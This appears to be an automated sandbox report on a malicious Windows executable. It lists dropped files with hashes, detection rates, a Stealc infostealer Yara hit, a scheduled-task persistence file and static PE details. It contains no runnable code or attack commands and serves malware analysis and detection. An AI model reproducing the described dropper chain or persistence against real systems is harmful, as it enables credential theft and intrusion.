Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........p1...........@...........................1...........@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...krmeesmj..+.......+.................@...ccqtiijz.....`1......:..............@....taggant.0...p1.."...@..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1341360
Entropy (8bit):	7.6705687436026055
Encrypted:	false
SSDEEP:	24576:8/0AlqaB5TXKYSo4m/vup8Lb7nygnVD+LaH:P345TXT/vup8LnygB+aH
MD5:	61162ABF98861E7E3176DF82D232523E
SHA1:	3F2EB1C68E088FCCB1B33577DC5FBC491E29EFD6
SHA-256:	E552849B11E4C38DF89416FCEE9110FDCDBBA56B66ED3C18113C428E842DE0F3
SHA-512:	1524F16485B77EDDAFB5525233CCD88795B2B4B80A6BAC786BDA58A163F3BEE0188DFA3AEE7DF8352768C9321720FD5AC0175010B66645A3A22B0584DE541A12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...T."g............................n.... ........@.. ....................................`................................. ...K.......T............N...)........................................................... ............... ..H............text...t.... ...................... ..`.rsrc...T...........................@..@.reloc...............L..............@..B................P.......H.......................d...M...............................................(.......(.....0.......... ........8........E....6...........81...~....%9....86...& ....~s...{....:....& ....8....~..........s....%.....s....(.... ....~s...{....:....& ....8z...&~..........~......s...........(.....0..f....... ........8........E........#...........z...0...V...........M...........v...........!.......>...Z...........8....... ....8......94... ....8......(....o....:z... ....8i...8S.

C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3039744
Entropy (8bit):	6.531769276457236
Encrypted:	false
SSDEEP:	49152:MZOVnQtnEMy3uzSAhDTxZ1HCVjcSMDCDBgk2D0e02Z0wCY6DL:DVnanEf3uzfhTr15k2D0e02Zr63
MD5:	EC6BF4A264E7EF670873EF017D9F1C00
SHA1:	1264FCB7C7BA47274B84479176B5D4408B5A28FB
SHA-256:	2AB02DE37A3EF20DFF2ABB365711AABE7E99858C43E7EB0A2B88B8928EE3A327
SHA-512:	EA776D175660ADDC20B34075918FA58D69A7393B6077D5F28CA7750C63DB70E4C70D088464374348823D09925248FB9B3B80BA57BEA6563B5FD8B8D4EC07E8FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........p1...........@...........................1...........@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...krmeesmj..+.......+.................@...ccqtiijz.....`1......:..............@....taggant.0...p1.."...@..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2145792
Entropy (8bit):	7.959409970299355
Encrypted:	false
SSDEEP:	49152:1XaI8Bt0FBDoHKt9XPk8m0IxlHlIoooTN/bx6U9S:1X3eQBDog9XPL+aG5zx6U
MD5:	08093CA094E4BD396C0A1202363CE047
SHA1:	EA36EC8698C53B8542DA008357F3D8BF8FDB6E67
SHA-256:	F038C0CA2A82CE96F8FE33C5F458E0CBD043F96559795B93C1CBF411C3017C13
SHA-512:	D588F64C60124C1F9365BE5AA88685360F337FCA2E11B2742F60596AD9CDACF96E281409580E8B1C3636EA710C2730D497788A3E5B26965AF3A9C4391DE29D14
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@.......................... s.....'.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .0*.........................@...wcmalsok......X.....................@...lajdpeqi......r....... .............@....taggant.0....r..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467894034033
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tf:JqDEvCTbMWu7rQYlBQcBiT6rprG8abf
MD5:	F75D194E93D6D5623177EF886053C197
SHA1:	612A46E69761FEB1A44ADD24AD6D760F3B6FA6CD
SHA-256:	86D0C493A79667FB6A9D7F24C0373924B582C8F2DB797666DF9324678AF02F9B
SHA-512:	CB7682A138B77D21308FE040F8E8BBB0912BBE0323916CFB816FD5B346917F9784FDC4B386546014D1C0CAD9FFE39BA1ED89BA94CFE8F2B86154AC6AB405CE03
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`......U.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002767001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928704
Entropy (8bit):	7.953297568208112
Encrypted:	false
SSDEEP:	24576:HdjT9pwsKkEiHTvIXuvq/BAHKsbzhCSj0Oa1Bjg5/vIWyJNe+jIfQqQnpFWNO84I:99pwsvVLEuvq8VHB4gv3Qe+jFVFWRh
MD5:	35D4E711A6F11E28761E26740A4DAD7C
SHA1:	36C2A89E552B4A707E0120F4AC98D0CF8E158EB6
SHA-256:	DD5E5C3FFCE392109D541AAF1209D88A7D2F539C480BB6F09784E7B4279FA7BD
SHA-512:	D8E637408337765AA9C5F4E8B99D3B385AAD433F875B0F3159C6D05CC988CF6A326073145B5177851C2F5357787242CE20A1A37FBC48D4300EC41A287C5E1251
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......?....@.................................W...k............................kL.............................tkL..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...gwpiiybp.`... 2..R..................@...tdmstcss......L......H..............@....taggant.0....L.."...L..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2814976
Entropy (8bit):	6.496380875224431
Encrypted:	false
SSDEEP:	24576:BjoI6onqCRgdjS6kohnEpfa9/3vIWTkLi5afUGbCTvs5ok0TwYOwya5KPI+e3V22:BjHllVcd9/39mcjJePQrTE9ytb
MD5:	7319CE2EC56F42705DAC4591A2B6C22D
SHA1:	E5A4DE8477223146F507716E104F6A2B824C7D1C
SHA-256:	02089B409179D60BE31695677446236AA18EF5BEF9DA3AE9F4DFA29440661A9D
SHA-512:	4711D7BD462CBE8461B7DE7DFD2B4B444D47347712D1F51823B36F19F7FBE6D4F659DADCF2810FC948CEB35668C52BD35721BF240EE680320363FC831372DE15
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......f+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...kddeprza...........:..............@...anjsayip. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2814976
Entropy (8bit):	6.496380875224431
Encrypted:	false
SSDEEP:	24576:BjoI6onqCRgdjS6kohnEpfa9/3vIWTkLi5afUGbCTvs5ok0TwYOwya5KPI+e3V22:BjHllVcd9/39mcjJePQrTE9ytb
MD5:	7319CE2EC56F42705DAC4591A2B6C22D
SHA1:	E5A4DE8477223146F507716E104F6A2B824C7D1C
SHA-256:	02089B409179D60BE31695677446236AA18EF5BEF9DA3AE9F4DFA29440661A9D
SHA-512:	4711D7BD462CBE8461B7DE7DFD2B4B444D47347712D1F51823B36F19F7FBE6D4F659DADCF2810FC948CEB35668C52BD35721BF240EE680320363FC831372DE15
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......f+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...kddeprza...........:..............@...anjsayip. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928704
Entropy (8bit):	7.953297568208112
Encrypted:	false
SSDEEP:	24576:HdjT9pwsKkEiHTvIXuvq/BAHKsbzhCSj0Oa1Bjg5/vIWyJNe+jIfQqQnpFWNO84I:99pwsvVLEuvq8VHB4gv3Qe+jFVFWRh
MD5:	35D4E711A6F11E28761E26740A4DAD7C
SHA1:	36C2A89E552B4A707E0120F4AC98D0CF8E158EB6
SHA-256:	DD5E5C3FFCE392109D541AAF1209D88A7D2F539C480BB6F09784E7B4279FA7BD
SHA-512:	D8E637408337765AA9C5F4E8B99D3B385AAD433F875B0F3159C6D05CC988CF6A326073145B5177851C2F5357787242CE20A1A37FBC48D4300EC41A287C5E1251
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......?....@.................................W...k............................kL.............................tkL..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...gwpiiybp.`... 2..R..................@...tdmstcss......L......H..............@....taggant.0....L.."...L..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928704
Entropy (8bit):	7.953297568208112
Encrypted:	false
SSDEEP:	24576:HdjT9pwsKkEiHTvIXuvq/BAHKsbzhCSj0Oa1Bjg5/vIWyJNe+jIfQqQnpFWNO84I:99pwsvVLEuvq8VHB4gv3Qe+jFVFWRh
MD5:	35D4E711A6F11E28761E26740A4DAD7C
SHA1:	36C2A89E552B4A707E0120F4AC98D0CF8E158EB6
SHA-256:	DD5E5C3FFCE392109D541AAF1209D88A7D2F539C480BB6F09784E7B4279FA7BD
SHA-512:	D8E637408337765AA9C5F4E8B99D3B385AAD433F875B0F3159C6D05CC988CF6A326073145B5177851C2F5357787242CE20A1A37FBC48D4300EC41A287C5E1251
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................L......?....@.................................W...k............................kL.............................tkL..................................................... . ............................@....rsrc...............................@....idata ............................@... .p+.........................@...gwpiiybp.`... 2..R..................@...tdmstcss......L......H..............@....taggant.0....L.."...L..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\helloworld.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	Apache Avro version 101
Category:	dropped
Size (bytes):	55
Entropy (8bit):	3.7031094858192377
Encrypted:	false
SSDEEP:	3:eA7GAFiPQXGgKgF/R:tGgEQXGgKgFJ
MD5:	CD0950A4AD9821873BC7ED32633C99F3
SHA1:	A5A62D11005523B85DAE57FFE25AC3AA5A7ACA22
SHA-256:	15E89B94E9B024745F25D11681CBCE8590722406949390545DA23CB7741229C4
SHA-512:	652F9C8A9575239E2691E06890CEDEA6FDAAFD6B3A09F2C96A0846916FB72D3E4F9E612F814EF593E9BCFCE4C42B2ADE07007BB3D91B114A7F2036362B2E4ED3
Malicious:	false
Preview:	Object reference not set to an instance of an object...

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9881
Entropy (8bit):	5.532066247878329
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp67hj4qyaaX86KakfGNBw8dJSl:delquOcwm0
MD5:	36FEC7DAAD816B9E162ABEC0CF7135F1
SHA1:	F15CD8FED30C0F7B55C05DD2C429E44CAF96E629
SHA-256:	F5C73B1EC2C1815C2C0CAE39D148D20689A7948B48D867653B001A97ECC42648
SHA-512:	C86C47DE86ACF73FA0EB89B9D415DCF9B854B0632C711291746E0DA8611110CDEACD8F30BED4000B53DF24C3AE7350BE9916EEA9EC3076936B38AB42DCB36B8B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9881
Entropy (8bit):	5.532066247878329
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp67hj4qyaaX86KakfGNBw8dJSl:delquOcwm0
MD5:	36FEC7DAAD816B9E162ABEC0CF7135F1
SHA1:	F15CD8FED30C0F7B55C05DD2C429E44CAF96E629
SHA-256:	F5C73B1EC2C1815C2C0CAE39D148D20689A7948B48D867653B001A97ECC42648
SHA-512:	C86C47DE86ACF73FA0EB89B9D415DCF9B854B0632C711291746E0DA8611110CDEACD8F30BED4000B53DF24C3AE7350BE9916EEA9EC3076936B38AB42DCB36B8B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3993949604826987
Encrypted:	false
SSDEEP:	6:jI+yjTXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0ljut0:FyPf2RKQ1CGAFAjzvYRQVqt0
MD5:	B0DF560976FE2E1DE64394574690A9A7
SHA1:	DF7E51ABEB35E044D19BF03746257AC05E3CEC08
SHA-256:	B716A9F6BCA6EAAD0F46874CC6B473158CE946A60E24C34F9BFC6BE2F09922FB
SHA-512:	0DE16AF771149AB70E544D2F81E8A3FE59B118712A3E73281C1D6E547B7F2A7BF80AE28E20F82B6D74F3A3FB2D95F493A20C6933E36C25FE6EAAC16B7B5467DD
Malicious:	false
Preview:	.....\..@X.I.v...[.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.531769276457236
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'039'744 bytes
MD5:	ec6bf4a264e7ef670873ef017d9f1c00
SHA1:	1264fcb7c7ba47274b84479176b5d4408b5a28fb
SHA256:	2ab02de37a3ef20dff2abb365711aabe7e99858c43e7eb0a2b88b8928ee3a327
SHA512:	ea776d175660addc20b34075918fa58d69a7393b6077d5f28ca7750c63db70e4c70d088464374348823d09925248fb9b3b80ba57bea6563b5fd8b8d4ec07e8ff
SSDEEP:	49152:MZOVnQtnEMy3uzSAhDTxZ1HCVjcSMDCDBgk2D0e02Z0wCY6DL:DVnanEf3uzfhTr15k2D0e02Zr63
TLSH:	D0E54BA2A44975DBD44F2378452BCD835D6E43B52B2428C7A82EF4BA7D73CC416BEC24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........p1...........@...........................1...........@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x717000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1690E32ADAh
cmovo ebp, dword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
